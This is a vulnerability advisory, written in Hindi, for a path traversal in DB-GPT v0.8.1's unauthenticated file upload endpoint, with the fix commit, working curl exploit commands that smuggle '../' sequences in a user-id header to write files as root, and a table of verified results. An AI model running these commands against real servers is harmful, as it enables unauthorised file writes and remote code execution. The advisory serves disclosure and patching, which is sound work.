
CVE-2026-73034 — DB-GPT v0.8.1 अनधिकृत पाथ ट्रैवर्सल → user-id हेडर के माध्यम से रूट के रूप में मनमाना फ़ाइल लेखन। सत्यापित + फिक्स डिफ़
CVSS 9.8 (गंभीर) · CWE-22 · GHSA/Issue #3104
DB-GPT v0.8.1 में POST /api/v1/python/file/upload user-id HTTP हेडर लेता है और उसे
सीधे पथ घटक के रूप में उपयोग करता है:
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
कोई प्रमाणीकरण नहीं है — यदि हेडर अनुपस्थित है, तो ऐप role="admin" के साथ user_id="001" पर वापस चला जाता है। user-id में ../ अनुक्रम इंजेक्ट करने से अपलोड्स रूट से बाहर निकल जाता है और अनप्रमाणित दूरस्थ हमलावर को कंटेनर प्रक्रिया (रूट) जहाँ भी लिख सकती है मनमानी फ़ाइलें लिखने की अनुमति देता है → सीधा RCE पथ (वेबरूट .py, क्रॉन जॉब्स, authorized_keys, …)।
प्रभावित: DB-GPT ≤ v0.8.1
सुधारित: v0.8.2+ — कमिट e0c741bd2b5e521b128cffb3f68982dde3f7b359 (एक _SAFE_USER_ID_RE व्हाइटलिस्ट ^[A-Za-z0-9_\-]+$, अपलोड-निर्देशिका कंटेनमेंट जाँच, और एक TOCTOU सिमलिंक पुनः-जाँच जोड़ता है)।
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../tmp/pwned" \
-F "[email protected];filename=pwned.txt"
# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../root" \
-F "[email protected];filename=pwned_root.txt"
नोट: FastAPI user_id पैरामीटर को user-id HTTP हेडर (हाइफ़न, अंडरस्कोर नहीं) से मैप करता है।
| परीक्षण | परिणाम |
|---|---|
नियंत्रण अपलोड (user-id: alice) | ✅ /app/python_uploads/alice/control.txt |
एक्सप्लॉइट user-id: ../../../../tmp/pwned | ✅ /tmp/pwned/pwned.txt लिखी गई (रूट) |
एक्सप्लॉइट user-id: ../../../../root | ✅ /root/pwned_root.txt लिखी गई |
| सुधारित बिल्ड (e0c741bd) | ✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed |
पूर्ण स्क्रिप्ट: poc_cve-2026-73034.sh (दोनों एक्सप्लॉइट + कंटेनर-भीतर सत्यापन + सुधारित-बिल्ड तुलना चलाती है)।